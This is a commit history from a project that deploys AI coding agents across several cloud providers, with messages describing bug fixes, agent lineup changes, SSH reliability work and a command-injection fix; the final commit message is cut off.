Commit graph

110 commits

Author SHA1 Message Date
A
9b6e860bba
fix: hetzner destroy_server false failure and daytona silent error swallow (#1622)
Hetzner: grep '"error"' matched '"error": null' in successful DELETE
responses, causing every server deletion to log "Failed to destroy
server" and return 1 even when the server was actually destroyed.
Fix: use jq -e '.action' (consistent with create_server's approach)
which is only present on success.

Daytona: >/dev/null 2>&1 || true suppressed all errors and always
logged "Sandbox destroyed" regardless of outcome. Fix: capture response,
check exit code and error JSON fields, log billing warning on failure.

Same class of bug as AWS (#1606) and GCP/DigitalOcean (#1615).

Agent: team-lead

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-21 18:12:24 -05:00
Ahmed Abushagur
76cb8ead3b
fix: unpin Codex version, restore wire_api=responses (#1608)
Reverts the 0.94.0 pin — install latest Codex and use the required
wire_api="responses" format.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-21 20:12:23 +00:00
A
d6c53d838f
fix: source .spawnrc directly in agent launch commands for reliable env loading (#1546)
24 agent scripts (codex, opencode, kilocode, openclaw across 6 clouds) used
`source ~/.zshrc && <agent>` which loads env vars indirectly via a hook.
This fails silently when .zshrc has errors or the hook install was non-fatal,
causing agents to launch without OPENROUTER_API_KEY.

Change to `source ~/.spawnrc 2>/dev/null; source ~/.zshrc 2>/dev/null; <agent>`
which loads env vars directly (matching claude/zeroclaw pattern) and tolerates
.zshrc failures without blocking the agent.

Agent: code-health

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-20 23:37:03 -05:00
A
2c214c2f5b
fix: call ensure_jq before jq usage in hetzner and daytona libs (#1541)
Both cloud_authenticate() functions use jq for JSON construction in
create_server() but never verify jq is installed. On minimal Ubuntu/
Debian, Alpine, or fresh macOS without Homebrew, this causes a hard
failure with "jq: command not found" after the user has already entered
their API token. ensure_jq() in shared/common.sh auto-installs jq on
Linux/macOS -- wire it in before the first jq-dependent call.

Agent: code-health

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-20 22:00:09 -05:00
A
32db000ca4
fix: validate env-var tokens and align cloud_authenticate patterns (#1516)
- ensure_api_token_with_provider now validates env-var tokens with
  the provider test function, matching config-file token behavior.
  Previously, stale env-var tokens silently passed auth and failed
  at server creation with cryptic API errors.

- Add prompt_spawn_name to Hetzner and Daytona cloud_authenticate,
  matching the pattern used by AWS, Fly, GCP, DigitalOcean, and
  Sprite. Without this, SPAWN_NAME_KEBAB is never set and server
  name prompts have no pre-filled default on these two providers.

- Remove redundant register_cleanup_trap from DigitalOcean
  cloud_authenticate. shared/common.sh auto-registers the trap at
  source time (line 3696), making the explicit call dead code.

Agent: code-health

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-20 04:55:35 -05:00
Ahmed Abushagur
b5d174a472
fix: pin Codex to 0.94.0 + wire_api=chat for multi-turn stability (#1518)
* fix: switch Codex wire_api from "responses" to "chat" for multi-turn stability

The Responses API format causes "Invalid Responses API request" errors on
the second turn and beyond — conversation history items round-trip through
OpenRouter with null content fields and missing IDs that fail validation.
Chat Completions format is fully supported and avoids this issue.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: pin Codex to 0.94.0 + wire_api=chat for multi-turn stability

OpenRouter's Responses API proxy drops required fields (id, content) from
conversation-history items on multi-turn requests, causing "Invalid
Responses API request" at input[6]+. Codex >=0.97.0 removed wire_api=chat
support (openai/codex#10157), so we pin to 0.94.0 — the last release where
Chat Completions format still works.

Tracking: https://github.com/openai/codex/issues/12114
TODO: unpin once OpenRouter /responses handles round-trip correctly.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-20 04:49:35 -05:00
Ahmed Abushagur
95137ed2c7
fix: rewrite hetzner common.sh + fix token prompt bug (#1512)
* fix: rewrite hetzner common.sh + fix token prompt bug in shared/common.sh

Hetzner: rewrote from 621 to 224 lines. Removed hcloud CLI dual-path
fallback, server type validation/fallback chain (11 functions), and
duplicate CLI+API implementations. Now API-only like DigitalOcean.

Shared: fixed echo "" in _prompt_for_api_token, get_openrouter_api_key_manual,
and get_openrouter_api_key_oauth writing to stdout instead of stderr.
These functions are called inside $(...) command substitutions, so the
newlines got prepended to the captured token, causing "unable to
authenticate" errors when pasting tokens at the prompt.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: rewrite daytona common.sh — API-only, drop CLI dependency

Rewrote from 312 to 174 lines. Removed daytona CLI dependency in
favor of direct REST API calls. Matches the same API-only pattern
used by Hetzner, DigitalOcean, and other clouds.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: pass SSH port to control master exit in daytona interactive/destroy

The ssh -O exit command to close the multiplexed master was missing
the -p PORT flag when DAYTONA_SSH_PORT is set. This left the master
connection open, causing "mux_client: master did not respond" errors
when the interactive session tried to allocate a PTY.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-20 02:52:49 -05:00
L
d5690a8b11
feat: spawn name prompt + kebab resource naming across all clouds (#1507)
* feat: add spawn name prompt and project confirmation to GCP flow

Ask for spawn name upfront (before auth), derive kebab-case default for
VM naming, and confirm the current GCP project before using it.

New interaction order:
  1. Spawn name: "My Dev Box" → kebab "my-dev-box" exported as
     GCP_INSTANCE_NAME_KEBAB
  2. gcloud auth + project confirm: "Current project: X  Keep? [Y/n]"
     If no → project picker shown
  3. SSH key
  4. Machine type picker (existing)
  5. Zone picker (existing)
  6. Instance name prompt: "Instance name [my-dev-box]: "
     User can press Enter to accept or type a custom name

New functions:
  _to_kebab_case()         — lowercases, replaces non-alnum with hyphens
  _gcp_prompt_spawn_name() — prompts for display name, exports kebab default;
                             honours SPAWN_NAME env var set by CLI (--name flag)

Modified:
  _gcp_resolve_project()  — adds Y/n confirmation when project already set
  get_server_name()       — shows kebab default in prompt, accepts Enter
  cloud_authenticate()    — calls _gcp_prompt_spawn_name first

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>

* feat: add spawn name prompt to all clouds via shared/common.sh

Move _to_kebab_case() and prompt_spawn_name() to shared/common.sh so all
clouds get upfront spawn name prompting and kebab-based resource naming.

shared/common.sh:
  + _to_kebab_case()    — "My Dev Box" → "my-dev-box"
  + prompt_spawn_name() — asks for display name, exports SPAWN_NAME_DISPLAY
                          and SPAWN_NAME_KEBAB; skips if already set;
                          honours SPAWN_NAME env var from CLI --name flag
  ~ get_resource_name() — replaces silent SPAWN_NAME fallback with a visible
                          prefilled default: "Enter server name [my-dev-box]: "

Per-cloud changes (cloud_authenticate gains prompt_spawn_name first):
  hetzner, fly, aws, daytona, digitalocean, sprite — one-line change each

gcp/lib/common.sh:
  - Remove _to_kebab_case()        (now in shared)
  - Remove _gcp_prompt_spawn_name() (now in shared as prompt_spawn_name)
  ~ cloud_authenticate: _gcp_prompt_spawn_name → prompt_spawn_name
  ~ get_server_name: simplified back to get_validated_server_name
    (shared get_resource_name now shows the kebab default in the prompt)

Result — every cloud shows this flow upfront:
  Spawn name (e.g. "My Dev Box"): My Claude Box
  ℹ Resource name: my-claude-box
  ...
  Enter server name [my-claude-box]: ⏎

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>

* fix: use "Use project '...'?" instead of "Keep this project?" in GCP prompt

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>
2026-02-19 22:22:59 -08:00
Ahmed Abushagur
749ca907b7
fix: Hetzner reprompt for different API key on account limits (#1494)
When server creation fails with account-level errors (server limit
reached, insufficient funds, quota exceeded), offer to switch to a
different Hetzner API token and retry instead of just failing.

- Add _is_hetzner_account_error() to detect account-level issues
- Return exit code 2 from create_server() for account errors
- cloud_provision() catches code 2, prompts "Try a different account?"
- On yes: re-prompts for new API key, re-registers SSH keys, retries

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 20:40:20 -05:00
Ahmed Abushagur
9e2f84adf0
fix: use native OpenRouter model_provider for Codex CLI config (#1490)
Codex CLI's OPENAI_BASE_URL env var approach causes "Invalid Responses
API request" errors because OpenRouter doesn't fully support the
Responses API wire format via base URL override. Switch all 8 codex
scripts to use ~/.codex/config.toml with model_provider="openrouter"
which uses the native OpenRouter integration.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 18:47:40 -05:00
A
b29cf4a75d
fix: sync cloud READMEs with current agent list (#1486)
READMEs across all 8 clouds still referenced 5 removed agents
(NanoClaw, Cline, gptme, Plandex, Continue) and were missing
ZeroClaw. Users following these docs got 404 errors.

Agent: ux-engineer

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-19 17:47:57 -05:00
L
a67d83ed38
feat: reorder agents and remove NanoClaw (#1477)
* feat: add ZeroClaw agent (14.9k stars, native OpenRouter support)

Add ZeroClaw — a Rust-based autonomous AI assistant framework by
Harvard/MIT/Sundai.Club communities — across all 8 clouds.

Scripts: local, hetzner, digitalocean, fly, aws, gcp, daytona, sprite
Install: bootstrap.sh with --install-rust + --install-system-deps
Config:  zeroclaw onboard --provider openrouter (via agent_configure)
Env:     OPENROUTER_API_KEY + ZEROCLAW_PROVIDER=openrouter (native support)
Launch:  zeroclaw agent

Note: ZeroClaw compiles from Rust source (~5-10 min build time).
A build-time warning is shown to set expectations.

Also update test/mock-curl-script.sh to stub zeroclaw install URLs and
add zeroclaw to mock agent binaries in test/mock.sh.

Bump CLI version 0.5.8 → 0.5.9.

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>

* feat: reorder agents and remove NanoClaw

New agent order: claude → openclaw → zeroclaw → codex → opencode → kilocode

- Remove NanoClaw (8 scripts + manifest entry + matrix entries + README row)
- Reorder manifest.json agents section to match new order
- Reorder matrix entries by cloud (local/hetzner/fly/aws/daytona/digitalocean/gcp/sprite)
  with agents in new order within each cloud block
- Update README matrix table row order
- Update test/mock.sh mock agent binary list to match
- Bump CLI version 0.5.9 → 0.5.10

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>
2026-02-19 11:39:03 -08:00
L
f7458952b0
feat: remove Cline, gptme, Plandex, and Continue agents (#1475)
Delete 32 agent scripts ({cloud}/{cline,gptme,plandex,continue}.sh across
8 clouds), remove the 4 agents from manifest.json with all their matrix
entries, update README matrix rows, remove stale mock agent binaries and
plandex.ai URL patterns from test harness, update CLI help examples to use
remaining agents, and bump version 0.5.7 → 0.5.8.

Co-authored-by: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>
2026-02-19 11:12:46 -08:00
A
5612cda40b
feat: remove Aider, Goose, Open Interpreter, Gemini CLI, Amazon Q from matrix (#1472)
These 5 agents are being dropped from the Spawn matrix. This removes
45 agent scripts across 9 clouds, cleans the manifest, test fixtures,
READMEs, CLI source, and shared library comments.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-19 12:31:00 -05:00
A
d8785c3d0b
security: fix command injection in cline auth via remote env var expansion (#1473)
All 9 cline.sh scripts embedded OPENROUTER_API_KEY directly into the
cloud_run command string, allowing shell metacharacter injection on the
remote server. Fix by escaping the dollar sign (\${OPENROUTER_API_KEY})
so the variable is expanded on the remote machine where it's already
set via agent_env_vars()/generate_env_config, not locally before being
passed to cloud_run.

Agent: security-auditor

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-19 12:25:16 -05:00
Ahmed Abushagur
8ee54d01a8
fix: harden agent reliability + security across all clouds (#1468)
* docs: add spawn delete command to README

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: harden openclaw across all clouds — validation, reliability, performance

Fixes multiple issues causing openclaw to break on most clouds:

Bugs fixed:
- Double-prefixed model ID (openrouter/openrouter/auto) in config generation
- AWS gateway starting without env vars (missing .zshrc source)
- DigitalOcean sourcing .spawnrc instead of .zshrc for gateway
- Destructive rm -rf ~/.openclaw on re-runs (now mkdir -p)

Validation added:
- API key checked against OpenRouter /auth/key endpoint with re-prompt on failure
- Model ID verified against OpenRouter model list with re-prompt loop
- openrouter/auto and openrouter/free bypass model check

Reliability improvements:
- Standardized gateway launch with </dev/null & disown across all 9 clouds
- Gateway log auto-displayed on startup timeout for diagnostics
- 2GB swap added to cloud-init to prevent OOM on small VMs
- Portable install timeout (10 min) with macOS gtimeout fallback

Performance:
- Reordered spawn_agent: OAuth runs while VM provisions (saves 30-60s)
- Fly.io: bumped to 2GB RAM + 2 shared CPUs for openclaw
- Fly.io: tries bun first (faster), falls back to npm

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: skip sudo in gh install when running as root (Fly.io containers)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address PR review — skip validation in tests, quote escaped cmd, escape model_id

- verify_openrouter_key and verify_openrouter_model skip network calls when
  SPAWN_SKIP_API_VALIDATION, BUN_ENV=test, or NODE_ENV=test is set
- install_agent timeout wrapper now quotes the escaped command for defense in depth
- model_id in openclaw JSON now uses json_escape() for consistency

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: remove double-escaping in install_agent that broke shell operators

install_agent() was wrapping commands with printf '%q' + bash -c before
passing them to the run callback. But run callbacks (run_server, run_sprite,
ssh_run_server) already handle escaping for remote transport. The double-
escaping turned && || > | into literal characters, causing 'source' to
treat the entire command as a single filename.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use local github-auth.sh instead of curling from main

When running from a local checkout, base64-encode the local
github-auth.sh and send it inline to the remote machine. This
ensures fixes (like the sudo skip for root) take effect immediately
without waiting for a merge to main.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: handle github-auth errors gracefully instead of terminating

GitHub CLI setup is optional — failures should not abort the spawn
session. Guard both run_callback calls in offer_github_auth with
|| log_warn so the script continues even if gh install fails.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use GOOGLE_GEMINI_BASE_URL to route Gemini CLI through OpenRouter

Gemini CLI ignores OPENAI_BASE_URL — it uses GEMINI_API_KEY to talk
directly to Google's API. The OpenRouter key is not a valid Google
API key, so all requests fail with "API key not valid".

Use GOOGLE_GEMINI_BASE_URL to redirect Gemini CLI to OpenRouter's
endpoint. Fixes all 9 cloud gemini scripts + manifest.json.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: guard optional spawn_agent hooks so failures don't kill the session

With set -eo pipefail, any unguarded failure terminates the script.
Several optional operations in spawn_agent were unguarded:

- agent_configure: config file uploads (agent works with defaults)
- agent_save_connection: convenience JSON for spawn list
- agent_pre_launch: gateway daemons, startup hooks
- agent_pre_provision: pre-provision prompts
- .spawnrc shell hooks: hooking env vars into .bashrc/.zshrc

These now log warnings and continue instead of aborting. Critical
steps (cloud_authenticate, agent_install, cloud_provision) still
exit on failure.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: audit and fix env vars, escaping, and error handling across all agents

Audit findings from 3 parallel agents, fixes applied:

**Env vars (4 agents fixed across 9 clouds each = 36 scripts):**
- Amazon Q: remove fake OPENAI_* vars (Q uses AWS auth, can't use OpenRouter)
- Cline: replace OPENAI_* env vars with `cline auth -p openrouter` command
- Open Interpreter: drop OPENAI_* vars, use only OPENROUTER_API_KEY (native support via --model flag)
- NanoClaw: add ANTHROPIC_BASE_URL to .env file (was missing, requests went to Anthropic directly)

**Escaping:**
- execute_agent_non_interactive: replace printf '%q' with single-quote wrapping to avoid double-escaping on Fly.io

**Manifest updated** for amazonq, cline, interpreter entries.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use setsid to detach openclaw gateway daemon from SSH sessions

The gateway daemon launch (`nohup openclaw gateway ... & disown`) hangs
on all clouds because SSH/exec channels wait for child FDs to close.
setsid creates a new session, fully detaching the daemon so the channel
can close immediately. Falls back to nohup where setsid is unavailable.

Consolidates the daemon launch into a shared start_openclaw_gateway()
function used by all 9 cloud scripts.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: configure npm global prefix for non-root clouds (AWS, GCP, OVH)

AWS Lightsail, GCP, and OVH SSH as non-root users (ubuntu/login user),
so `npm install -g` fails with EACCES on /usr/local/lib/node_modules/.

Fix: configure npm prefix to ~/.npm-global during cloud-init/setup and
add ~/.npm-global/bin to the SSH PATH prefix so agent install commands
find globally-installed npm binaries without sudo.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: remove broken OpenRouter routing from Gemini CLI scripts

Gemini CLI uses Google's native API format (/v1beta/models/:streamGenerateContent),
not the OpenAI-compatible format (/v1/chat/completions). No base URL override can
bridge this — the request formats are fundamentally incompatible. Same situation
as Amazon Q (uses vendor-specific auth/API).

Removed GEMINI_API_KEY and GOOGLE_GEMINI_BASE_URL from all 9 scripts + manifest.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: auto-install AWS CLI and gcloud SDK when missing

Instead of printing manual install instructions and exiting, both CLIs
now auto-install:

- AWS: downloads official .pkg (macOS) or .zip (Linux) installer
- GCP: uses brew cask on macOS, Google's tarball installer on Linux

Falls back to manual instructions if auto-install fails.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: nanoclaw — install Docker on Linux, fix hardcoded /root/ path

Two issues broke NanoClaw on all clouds:

1. .env upload hardcoded /root/nanoclaw/.env — fails on non-root clouds
   (AWS=ubuntu, GCP=user, OVH=ubuntu). Now uses upload_config_file with
   $HOME which expands on the remote side.

2. NanoClaw requires a container runtime. On Linux it uses Docker, but
   Docker was never installed. Added Docker install via get.docker.com
   to all cloud scripts (with sudo where SSH user is non-root).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address security review findings from PR #1463

- Reject symlinked github-auth.sh before base64-encoding (falls back to remote URL)
- Hide API key from process list using curl -K - instead of -H in verify_openrouter_key

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: quote OPENROUTER_API_KEY in cline auth to prevent command injection

Unquoted variable in `cline auth -p openrouter -k ${OPENROUTER_API_KEY}`
allows shell metacharacters in the key to execute arbitrary commands on
the remote server. Wrapping in escaped double quotes prevents expansion.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 08:36:24 -05:00
Ahmed Abushagur
be904cbe1c
fix: install_agent double-escaping + github-auth reliability (#1460)
* docs: add spawn delete command to README

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: harden openclaw across all clouds — validation, reliability, performance

Fixes multiple issues causing openclaw to break on most clouds:

Bugs fixed:
- Double-prefixed model ID (openrouter/openrouter/auto) in config generation
- AWS gateway starting without env vars (missing .zshrc source)
- DigitalOcean sourcing .spawnrc instead of .zshrc for gateway
- Destructive rm -rf ~/.openclaw on re-runs (now mkdir -p)

Validation added:
- API key checked against OpenRouter /auth/key endpoint with re-prompt on failure
- Model ID verified against OpenRouter model list with re-prompt loop
- openrouter/auto and openrouter/free bypass model check

Reliability improvements:
- Standardized gateway launch with </dev/null & disown across all 9 clouds
- Gateway log auto-displayed on startup timeout for diagnostics
- 2GB swap added to cloud-init to prevent OOM on small VMs
- Portable install timeout (10 min) with macOS gtimeout fallback

Performance:
- Reordered spawn_agent: OAuth runs while VM provisions (saves 30-60s)
- Fly.io: bumped to 2GB RAM + 2 shared CPUs for openclaw
- Fly.io: tries bun first (faster), falls back to npm

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: skip sudo in gh install when running as root (Fly.io containers)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address PR review — skip validation in tests, quote escaped cmd, escape model_id

- verify_openrouter_key and verify_openrouter_model skip network calls when
  SPAWN_SKIP_API_VALIDATION, BUN_ENV=test, or NODE_ENV=test is set
- install_agent timeout wrapper now quotes the escaped command for defense in depth
- model_id in openclaw JSON now uses json_escape() for consistency

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: remove double-escaping in install_agent that broke shell operators

install_agent() was wrapping commands with printf '%q' + bash -c before
passing them to the run callback. But run callbacks (run_server, run_sprite,
ssh_run_server) already handle escaping for remote transport. The double-
escaping turned && || > | into literal characters, causing 'source' to
treat the entire command as a single filename.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use local github-auth.sh instead of curling from main

When running from a local checkout, base64-encode the local
github-auth.sh and send it inline to the remote machine. This
ensures fixes (like the sudo skip for root) take effect immediately
without waiting for a merge to main.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: handle github-auth errors gracefully instead of terminating

GitHub CLI setup is optional — failures should not abort the spawn
session. Guard both run_callback calls in offer_github_auth with
|| log_warn so the script continues even if gh install fails.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use GOOGLE_GEMINI_BASE_URL to route Gemini CLI through OpenRouter

Gemini CLI ignores OPENAI_BASE_URL — it uses GEMINI_API_KEY to talk
directly to Google's API. The OpenRouter key is not a valid Google
API key, so all requests fail with "API key not valid".

Use GOOGLE_GEMINI_BASE_URL to redirect Gemini CLI to OpenRouter's
endpoint. Fixes all 9 cloud gemini scripts + manifest.json.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: guard optional spawn_agent hooks so failures don't kill the session

With set -eo pipefail, any unguarded failure terminates the script.
Several optional operations in spawn_agent were unguarded:

- agent_configure: config file uploads (agent works with defaults)
- agent_save_connection: convenience JSON for spawn list
- agent_pre_launch: gateway daemons, startup hooks
- agent_pre_provision: pre-provision prompts
- .spawnrc shell hooks: hooking env vars into .bashrc/.zshrc

These now log warnings and continue instead of aborting. Critical
steps (cloud_authenticate, agent_install, cloud_provision) still
exit on failure.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 05:21:55 -05:00
Ahmed Abushagur
159ad49fec
fix: harden openclaw across all clouds (#1456)
* docs: add spawn delete command to README

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: harden openclaw across all clouds — validation, reliability, performance

Fixes multiple issues causing openclaw to break on most clouds:

Bugs fixed:
- Double-prefixed model ID (openrouter/openrouter/auto) in config generation
- AWS gateway starting without env vars (missing .zshrc source)
- DigitalOcean sourcing .spawnrc instead of .zshrc for gateway
- Destructive rm -rf ~/.openclaw on re-runs (now mkdir -p)

Validation added:
- API key checked against OpenRouter /auth/key endpoint with re-prompt on failure
- Model ID verified against OpenRouter model list with re-prompt loop
- openrouter/auto and openrouter/free bypass model check

Reliability improvements:
- Standardized gateway launch with </dev/null & disown across all 9 clouds
- Gateway log auto-displayed on startup timeout for diagnostics
- 2GB swap added to cloud-init to prevent OOM on small VMs
- Portable install timeout (10 min) with macOS gtimeout fallback

Performance:
- Reordered spawn_agent: OAuth runs while VM provisions (saves 30-60s)
- Fly.io: bumped to 2GB RAM + 2 shared CPUs for openclaw
- Fly.io: tries bun first (faster), falls back to npm

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: skip sudo in gh install when running as root (Fly.io containers)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address PR review — skip validation in tests, quote escaped cmd, escape model_id

- verify_openrouter_key and verify_openrouter_model skip network calls when
  SPAWN_SKIP_API_VALIDATION, BUN_ENV=test, or NODE_ENV=test is set
- install_agent timeout wrapper now quotes the escaped command for defense in depth
- model_id in openclaw JSON now uses json_escape() for consistency

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: remove double-escaping in install_agent that broke shell operators

install_agent() was wrapping commands with printf '%q' + bash -c before
passing them to the run callback. But run callbacks (run_server, run_sprite,
ssh_run_server) already handle escaping for remote transport. The double-
escaping turned && || > | into literal characters, causing 'source' to
treat the entire command as a single filename.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 09:25:48 +00:00
Ahmed Abushagur
f2795a6d84
fix: Node.js v22 upgrade, aider uv install, SSH & cloud reliability (#1440)
* fix: use uv --upgrade to ensure Python 3.13-compatible Pillow across all clouds

aider-chat on Python 3.13 fails with `ImportError: cannot import name
'_imaging' from 'PIL'` when an old Pillow version (pre-10.4) is resolved
— those releases have no Python 3.13 binary wheels, so the C extension
is missing at runtime.

Replace `--with 'Pillow>=10.2.0'` (which was silently broken — the `>`
and single quotes get mangled by `printf '%q'` in run_server before the
command reaches the remote machine) with `--upgrade`, which forces all
transitive deps including Pillow to their latest compatible versions.

Also adds a plain-text echo before the install so users see progress
instead of a silent hang during the 2-4 minute install.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test: update aider/gptme/interpreter assertions from pip to uv

The install method for aider, gptme, and open-interpreter was changed
from pip to `uv tool install` across all clouds. The mock test
assertions still checked for the old `pip.*install.*` patterns, causing
9 failures (3 agents × 3 clouds).

Update patterns to match the actual `uv tool install` commands now used
in all cloud scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* ci: trigger test run for uv assertion fix

* fix: prevent SSH hangs, restore stderr, fix command escaping across clouds

- Add < /dev/null to ssh_run_server and generic_ssh_wait to prevent SSH
  stdin theft causing sequential install/verify/configure steps to hang
- Add ServerAliveInterval, ServerAliveCountMax, ConnectTimeout to default
  SSH_OPTS so long-running installs don't silently drop on flaky networks
- Remove 2>/dev/null from Fly.io run_server so remote command errors are
  no longer silently swallowed (--quiet flag still suppresses flyctl noise)
- Fix Fly.io printf '%q' double-quoting: remove extra quotes around
  $escaped_cmd that prevented the remote shell from consuming escapes,
  breaking && || | operators in commands
- Remove broken printf '%q' from Daytona run_server and interactive_session
  where it escaped shell operators into literal characters since daytona exec
  has no intermediate shell layer
- Pin aider to --python 3.12 instead of --with audioop-lts across all clouds

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add --pty to fly ssh console for interactive sessions

fly ssh console -C does not allocate a pseudo-terminal by default,
causing interactive TUI agents (aider, claude) to fail with
"Input is not a terminal (fd=0)" or completely unresponsive input.

Adding --pty forces PTY allocation, matching how other clouds handle
interactive sessions (SSH uses -t, Sprite uses -tty).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: prepend ~/.local/bin to PATH in ssh_run_server

After uv installs to ~/.local/bin, the current shell session doesn't
have it in PATH, causing "uv: command not found" on DigitalOcean and
all other SSH-based clouds (Hetzner, AWS, GCP, OVH).

Fly.io's run_server already prepends this PATH — now the shared
ssh_run_server does the same, fixing all SSH-based clouds at once.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add Node.js to cloud-init for all cloud providers

npm-based agents (codex, kilocode, etc.) fail with "npm: command not
found" because Node.js isn't installed during cloud-init. Fly.io was
the only provider installing Node.js (in wait_for_cloud_init).

Now all cloud-init scripts install Node.js v22 LTS from nodesource,
matching Fly.io's setup. Also adds ~/.local/bin to PATH in AWS and
GCP cloud-init (was already in shared/DigitalOcean/Hetzner).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use apt packages for nodejs/npm instead of nodesource

The nodesource setup script (setup_22.x) runs its own apt-get update
and repository configuration, nearly doubling cloud-init time and
causing hangs on DigitalOcean. Ubuntu 24.04 includes nodejs and npm
in its default repos — just add them to the packages list.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add timeouts and better error handling to Daytona CLI commands

Daytona CLI commands (login, list, create) can hang indefinitely when
the API is slow or unreachable. This causes:
- "Failed to create sandbox: timeout" with no recovery
- Token validation timeouts misreported as "invalid token"
- Users re-entering valid tokens that also timeout

Fixes:
- Wrap all daytona CLI calls with timeout (30s for auth, 120s for create)
- Detect timeout errors separately from auth errors
- Show actionable "try again / check status" messages for timeouts
- Add nodejs/npm to Daytona wait_for_cloud_init

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: set DAYTONA_API_URL to Daytona Cloud by default

The Daytona CLI may default to connecting to a local self-hosted
server instead of Daytona Cloud. Without DAYTONA_API_URL set to
https://app.daytona.io/api, every CLI command (login, list, create)
hangs trying to reach a non-existent local server and times out.

The SDK documents this as the default, but the CLI doesn't always
pick it up — now we export it explicitly.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: symlink n-installed Node.js v22 over apt v18 to prevent shadowing

n installs Node.js v22 to /usr/local/bin/node but apt's v18 at
/usr/bin/node can shadow it in non-interactive SSH sessions. After
n 22, symlink the new binaries over the apt ones so v22 is always
resolved. Also fix hcloud CLI token extraction for new TOML format.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address security review, add curl timeouts to trigger workflows

- Fix ssh_run_server command injection concern: use single-quoted
  path_prefix so $HOME/$PATH expand remotely, not locally
- Add --connect-timeout 15 --max-time 30 to trigger workflows to
  prevent 5-min hangs when server streams responses
